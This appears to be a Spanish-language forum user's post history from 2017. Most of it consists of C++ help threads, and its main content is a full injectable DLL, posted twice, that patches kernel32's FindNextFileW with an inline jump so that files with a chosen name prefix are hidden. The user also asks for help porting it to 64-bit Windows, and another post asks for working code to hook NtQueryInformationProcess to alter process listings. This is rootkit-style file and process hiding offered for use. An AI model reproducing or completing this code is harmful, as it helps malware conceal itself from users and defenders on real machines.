Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Natalia94x

#11
Cita de: robertoesimez en 22 Marzo 2017, 20:31 PM
Alguien me puede ayudar a borrar el ultimo nodo en mi lista simplemente enlazada, se lo agradecería mucho




Código (cpp) [Seleccionar]



void FLORES::borrar_nodo(){// El problema XD

                           auxiliar=auxiliar->liga;
                           delete nuevo;
   auxiliar->liga=NULL;
                           }




Código (cpp) [Seleccionar]

  void FLORES::borrar_nodo(){// El problema XD

primero = NULL; // restablecer var

                           }


Este code restablece la variable a 0, espero que te sirva, SALUDOS!.
#12
Cita de: ostiatio en 17 Marzo 2017, 13:19 PM
Muchas gracias warcry

Ahora solo necesito que me recomendeis un programa jejej
#13
Cita de: ostiatio en 17 Marzo 2017, 13:19 PM
Muchas gracias warcry

Ahora solo necesito que me recomendeis un programa jejej

Utiliza LogMeIn , tienes una licencia gratuita y una licencia de pago. LogMeIn es para administración remota, lo instalas alas computadoras que quieres ver, y ya. hay mucha info en san google, SALUDOS!
#14
Programación C/C++ / Re: [AYUDA] DLL
22 Marzo 2017, 02:35 AM
Cita de: BloodSharp en 21 Marzo 2017, 23:35 PM
Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....

Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...

Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...



B#
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen:

http://imgur.com/a/qemjl

Mi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW,  y sesupone que necesito 5 bytes más para poder colocar el salto hay,  Gracias nuevamente por ayudarme , SALUDOS!.
#15
Programación C/C++ / Re: [AYUDA] DLL
21 Marzo 2017, 23:29 PM
Cita de: MAFUS en 21 Marzo 2017, 23:15 PM
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
Gracias por responder , y si exactamente ese era el problema pero ya lo había solucionado , de todos modos muchas gracias. Ahora me falta solucionar el salto del hook, tú sabes algo de eso? Saludos. y Muchas gracias.
#16
Programación C/C++ / Re: [AYUDA] DLL
21 Marzo 2017, 22:15 PM
Código (cpp) [Seleccionar]
#include "stdafx.h"
#include <windows.h>
#include <iostream>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "Arquivo_";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}


acabo de compilar el codigo x64 bits y me lanza 2 errores;

Código (cpp) [Seleccionar]
// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85

    // Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102




1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos

Alguien sabe porque pasa eso?

COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10
#17
Programación C/C++ / Re: [AYUDA] DLL
21 Marzo 2017, 20:48 PM
Cita de: BloodSharp en 21 Marzo 2017, 20:22 PM
Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...


B#
Hola BloodSharp Gracias por responder, resulta que estoy recién empezando en este tema de las apis, me podrias ayudar un poco más , para llegar a solucionar el salto del hook. y desde luego muchas gracias SALUDOS.
#18
Programación C/C++ / [AYUDA] DLL
21 Marzo 2017, 19:05 PM
Tengo un problema  la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor.


Código (cpp) [Seleccionar]
// ------------------------ DLL API HOOK EN ->  FindNextFileW Y FindFirstFileW ---------------------------

#include "stdafx.h"
#include <windows.h>
#include <iostream>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "Archivo";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}


#19
Programación C/C++ / AYUDA! API HOOK C++
20 Marzo 2017, 20:09 PM
Hola gracias por entrar ami tema, necesito ayuda para poder enganchar la API NtQueryInformationProcess para listar los procesos , alguien me podria pasar un codigo funcional para poder estudiarlo? , e encontrado codigos pero son muy complejos y dificil de entender y muchos no funcionan , espero que me puedan ayudar, GRACIAS. C++